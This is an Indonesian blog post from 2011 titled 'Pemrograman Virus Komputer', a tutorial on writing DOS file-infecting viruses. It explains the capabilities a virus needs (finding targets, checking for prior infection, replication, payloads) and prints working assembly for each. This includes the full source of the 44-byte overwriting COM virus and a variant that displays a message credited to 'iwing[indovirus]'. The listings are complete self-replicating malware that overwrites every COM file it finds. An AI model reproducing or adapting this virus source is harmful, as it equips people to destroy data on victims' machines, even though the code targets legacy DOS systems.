Welcome To http://tipsdesain.blogspot.com/ | Semoga Anda Mendapatkan Hal Yang Anda Cari Disini
Sering - Sering Mampir Ya ... | Jangan Lupa Li like | Shar On Facebokk | Dan Tinggalkan Coment

Jumat, 28 Januari 2011

Pemrograman Virus Komputer

Cara kerja Virus Komputer pada umumnya adalah menyebarkan dirinya dengan cara antara lain menularkan file-file executable atau file-file yang bisa dijalankan langsung dari DOS Command line . Untuk memperjelas mekanisme penyebaran di ilustrasikan pada gambar dibawah ini :




Gambar 4.1. Mekanisme Penularan



Sudah jadi sifat virus jika dia dijalankan, maka ia menulari program aplikasi yang lain, yang di maksud menulari adalah menyalin dirinya atau program virus tersebut ke program aplikasi lainnya, jika dalm hal ini yang tertular adalah program Aplikasi 1, maka apabila program aplikasi 1 tersebut dijalankan, maka program aplikasi 1 yang sudah serinfeksi virus itu akan menularkan virus pada program aplikasi yang ke 2 , maka baik program aplikasi 1 maupun 2, sudah merupakan program pemikul bagi virus itu sendiri, yang akan menularkan seluruh program aplikasi yang ada.


Agar bisa bertindak sebagai virus komputer, sebuah program harus mempunyai 5 buah kemampuan yang merupakan prinsip dari virus komputer. Kelima kemampuan itu adalah :




  1. Kemampuan mendapatkan informasi




  2. Kemampuan memeriksa program




  3. Kemampuan menggandakan diri / menularkan




  4. Kemampuan mengadakan manipulasi




  5. Kemampuan menyembunyikan diri sendiri




Satu persatu kemampuan itu akan dijelaskan pada subbab selanjutnya



4. 1.1. Kemampuan mendapatkan Informasi



Pada Virus Komputer kemampuan untuk mendapatkan informasi sangat penting, terutama informasi mengenai file yang akan diinfeksi, Virus Komputer biasa nya tidak menulari 1 program saja, tapi sekumpulan program, contohnya File-file EXE, file-file COM, atau kedua-duanya, virus harus mendapatkan informasi tentang file tersebut pada directory, hal-hal mengenai informasi pada file yang perlu diketahui antara lain :


1. Apakah Extensi File tersebut ( COM,EXE, BAT)

2. Apa Atribut file ( Hidden, Readonly, Archive)

3. Besar File Yang akan Di infeksi


Informasi tersebut sangat bermanfaat bagi virus, dimana informasi mengenai Extension file berguna untuk virus yang menyerang file-file tertentu contohnya virus yang menyerang file EXE, virus tersebut harus mencari file-file EXE yang akan ditulari.


Informasi attribut berguna untuk memberikan pilihan pada virus apakah dapat menyerang file dengan attribut Readonly, Hidden ataukan virus harus mengeset attribut file-file tersebut menjadi Normal, sehingga virus dapat menulari.


Informasi tentang ukuran file berguna untuk operasi matematis yang akan menghitung berapa besar file yang sudah tertular, dimana



Besar_file_terinfeksi = file_asli + Virus_size



Fungsi ini terutama dipakai oleh virus Non OverWriting. Dibawah ini cuplikan metode virus untuk mendapatkan informasi tentang File :




Start : mov dx,offset File_to_infect ; cari seluruh file Mov ah,4Eh

Mov cx, 3 ; Attribut File ; cari host file


———


int 21h ; Dos Intrupt

cmp ax,12h ; Ada file lagi


je exit ; kalau tidak ada exit


———


file_to_infect db “*.COM” ; File yang akan diinfeksi

ends start ; akhir kode Virus





Listing 4.1. Search First File



Dimana Dx menuju ke alamat yang berisi nama file yang akan di infeksi, sedangkan disini di gunakan DOS Interupt 21H dengan Service ah, 4EH yang berguna untuk mencari file pertama yang cocok dengan DX ( Find First Matching File), dan mendapat kan informasi tentang file yang berada di dalam directory, biasanya fungsi 4Eh ini selalu berpasangan dengan 4Fh, yaitu fungsi untuk mencari file berikutnya yang cocok ( Find Next Maching File), sedangkan nilai CX,3 digunakan untuk mengecek attribut dari file, apakah Hidden, ReadOnly, virus dapt mengeset kembali attribut file menjadi normal, sehingga virus dapat menginfeksi file tersebut.



4. 1. 2. Kemampuan Untuk Memeriksa Program



Kemampuan untuk memeriksa program sangat penting bagi Virus Komputer , karena untuk mengetahui apakah file target sudah tertular atau belum, ini sangat penting karena virus tidak akan menularkan dirinya berkali-kali pada file yang sama, selain untuk mempercepat proses penularan juga untuk menjaga agar file korban tidak rusak, karena apabila penularan dilakukan berulang-ulang pada file yang sama, CRC dari file tersebut akan kacau dan menyebabkan file yang tertular tidak jalan, biasaanya file rusak tersebut akan mengeluarkan pesan Divide Over Flow, atau Error in Exe File, selain itu file yang berkali-kali diifeksi akan bertambah besar, dan akan mencurigakan pemakai komputer. Seperti digambarkan dalam flowchart berikut ini :




Gambar 4.2. Memeriksa Program




Berikut ini contoh listing dari kemampuan untuk memeriksa file




Mov ah, 3fh ; Baca file

Mov cx, 3 ; baca 3 byte

Mov dx,3_byte ; simpan pada buffer

Add dx,si ; Nama file

Int 21h ; Dos intrupt

Cmp a,3 ; Cek 3 byte tadi

Jnz cari_lagi ; Jika sudah tertular exit

Jmp Infect ; kalau belum , infect_file

3_byte equ $ ;data 3 byte pertama dari file asli

;yang belum tertular

infect_file : ; bagian penginfeksian



———— ; rutin infeksi



int 20h ; Dos Exit function

nop ; No Operation





Listing 4.2 . Periksa File



Pada rutin diatas dapat dilihat bagai mana Virus Komputer memeriksa file korbannya, untuk memberikan identitas file mana yang sudah terinfeksi maupun yang belum, karena dengan memeriksa file korban, umumnya 3 byte pertama yang menandakan file tersebut sudah tertular / belum, 3 byte pertama tersebut umumnya intruksi JMP : offset (Untuk file COM) , kode ‘MZ’ pada header file EXE dan PE untuk File Aplikasi Windows


Rutin ini sangat penting untuk menghindari penularan berkali-kali pada file korban, juga untuk menpercepat penularan. Rutin ini dipakai oleh 90 % virus komputer untuk menularkan diri.


4. 1. 3. Kemampuan untuk menggandakan diri / Replicating


kemampuan ini merupakan inti utama dari Virus Komputer , karena virus komputer memang diprogram untuk menularkan, dan memperbanyak dirinya. Tugas dari rutin replicating ini adalah menyebarkan virus keseluruh system yang ditularinya, tugas dari rutin ini sangat berat karena rutin tersebut harus mampu menyebarkan virus dengan cepat dan tidak diketahui oleh pemakai komputer, selain itu rutin replicator harus dapat menjaga agar file yang ditularinnya tidak rusak ( Rutin untuk Virus Appending / NonOverwriting ), dan dapat berjalan sebagaimana mestinnya.


Cara kerja rutin replicator pada file COM lebih sederhana dari file EXE, karena struktur program EXE yang tidak terbatas besarnya yaitu ( sebesar memory di komputer ), sedangkan file COM hanya dibatasi sampai 64 Kb ( Base memory ). Rutin replikator pada file COM akan menditeksi dan mengcopy byte pertama dari file yang akan ditularinya, kedalam suatu daerah di memory, rutin tersebut dipindahkan kedalam daerah lain dalam file.



File bersih program Virus


Pada diagram diatas P1 adalah bagian pertama dari file, P2 adalah bagian kedua dari file korban. P1 harus sama besar dengan V1 (rutin virus) , rutin virus akan menyimpan P1 dan mengcopynya pada bagian akhir dari file.



Setelah itu virus akan mengcopykan bagian pertama dari dirinya (V1) ke bagian awal file korban. Dimana V1 berisi instruksi JMP:V2, yaitu instruksi untuk memanggil badan Virus yang ada di belakang file korban.


Kemudian virus akan mengcopykan bagian kedunya (V2) yang merupakan badan virus ke akhir file yang ditulari, V2 ini biasanya berisi rutin-rutin lain seperti rutin untuk pengaman, rutin untuk melakukan aksi tertentu dan lain-lain. Rutin tersebut dapat dilihat dibawah ini :



Dalam program dapat diambil contoh 44-Virus.Com , yang merupakan virus sepanjang 44 byte, dengan cara kerja Overwriting file Com yang ada dalam suatu directory sepanjang badan Virus itu sendiri yaitu 44 Byte, virus ini masih sangat sederhana dan belum mempunyai rutin-rutin pengaman, maupun kemampuan untuk memeriksa program, ataupun rutin untuk aksi-aksi tertentu , dalam contoh dibawah ini virus hanya mempunyai kemampuan untuk menulari file Com.


Namun demikian dapat kita lihat bagaimana virus akan berkembang dengan cara menggandakan dirinya dalam program Com.


Berikut ini listing dari 44-Virus.Asm :




virus segment

org 100h ; file COM

assume cs:virus


len equ offset last-100h ;Panjang virus = Akhir program – awal program

start : mov ah,04eh ; Cari file dengan kategori file COM

xor cx,cx ; cx 0, = hanya file dengan atrribut Normal

lea dx,com_mask ; Nama file COM masukan ke register DX

int 21h ; Dos Intrupt

open_file : mov ax,3d02h ; Buka file dengan mode Baca/Tulis

mov dx,9eh

Int 21h

Infect : mov cx,len ; cx diisi panjang badan virus

lea dx,start ; Masukan header Virus “V1″ pada DX

Mov ah,40h ; Tulis badan virus dalam file korban

Int 21h ; Dos Intrupt

Next : mov ah,3eh ; Tutup file korban

int 21h

mov ah,4fh ; Cari file korban lagi

int 21h

jnb open_file ; Apa sudah semua file Com ? kalau belum jmp ke Open_file

; Kalau sudah semua terinfeksi Exit


com_mask: db “*.COM”,0 ; File dengan ekstensi Com

last : db 090h ; Akhir badan virus “V2″

virus ends


end start




Listing 4.3. Replicating / Penggandaan




4. 1. 4. Kemampuan Mengadakan Manipulasi


Kemampuan untuk mengadakan manipulasi sangat penting dilakukan oleh virus, karena bagian ini sebetulnya yang membuat virus komputer menarik, dan mempunyai seni dalam pembuatannya. Bagian manipulasi atau rutin manipulasi ini banyak macamnya, dan fungsinya, suatu virus dapat mempunyai salah satu diantara rutin-rutin manipulasi ini maupun gabungan antara rutin-rutin manipulasi tersebut. yang pasti, makin banyak rutin manipulasi yang dipakai oleh virus, maka akan makin besar ukuran virus yang dibuat. Diantara rutin-rutin manipulasi yang ada, yang sering digunakan adalah :




  1. Menampilkan tulisan / kata-kata / gambar




  2. Membunyikan port speaker




  3. Time bomb / logic Bomb





4.1.4.1. Menampilkan Tulisan / gambar



Rutin ini yang paling banyak dipakai oleh pembuat Virus Komputer , karena rutin ini selain untuk kepopularitas virus maupun pembuatnya, juga akan membuat virusnya mudah dikenal oleh para pemakai komputer, selain itu rutin ini membutuhkan suatu kreatifitas tinggi dan jiwa seni dari pembuatnya yang akan membuat virus ini akan menarik. Listing program dibawah ini akan memberikan contoh pembuatan rutin ini.






virus segment

org 100h

assume cs:virus


len equ offset last-100h ; Panjang virus = Akhir program – awal program

start : jmp mulai



msg db ‘ Modification of 44 Virus ‘,13,10

db ‘ © 2000,iwing[indovirus] ’,13,10

db ‘ – For Educational Only -$’,13,10



mulai : mov ah,09 ; Dos service 09h = Cetak String

lea dx,msg ; dx berisi pesan yang akan dicetak

int 21h ; Dos intrupt

go : mov ah,04eh ; Cari file dengan kategori file COM

xor cx,cx ; cx 0, = hanya file dengan atrribut Normal

lea dx,com_mask ; Nama file COM masukan ke register DX

int 21h ; Dos Intrupt

open_file : mov ax,3d02h ; Buka file dengan mode Baca/Tulis

mov dx,9eh

Int 21h

infect : mov cx,len ; cx diisi panjang badan virus

lea dx,start ; Masukan header Virus “V1″ pada DX

mov ah,40h ; Tulis badan virus dalam file korban

Int 21h ; Dos Intrupt

Next : mov ah,3eh ; Tutup file korban

int 21h

mov ah,4fh ; Cari file korban lagi

int 21h

jnb open_file ; Apa sudah semua file Com ?,kalau belum jmp ke Open_file

; Kalau sudah semua terinfeksi Exit


com_mask: db “*.COM”,0 ; File dengan ekstensi Com

last : int 20h ; Akhir badan virus “V2″


virus ends


end start





Listing. 4.4. Rutin Cetak String


Pada listing program virus diatas dapat dilihat, modifikasi dari virus 44 byte

Dengan tambahan rutin untuk menampilkan string :



Modification of 44 Virus

© 2000,iwing[indovirus]

-For Educational Only –



setiap kali penularan. Disini dapat dilihat rutin yang menampilkan pesan tadi yaitu



mulai : mov ah,09 ; Dos service 09h = Cetak String

lea dx,msg ; dx berisi pesan yang akan dicetak

int 21h ; Dos intrupt


0 komentar:

Posting Komentar

Related Posts Plugin for WordPress, Blogger...
ads
free counters

Share

Twitter Delicious Facebook Digg Stumbleupon Favorites More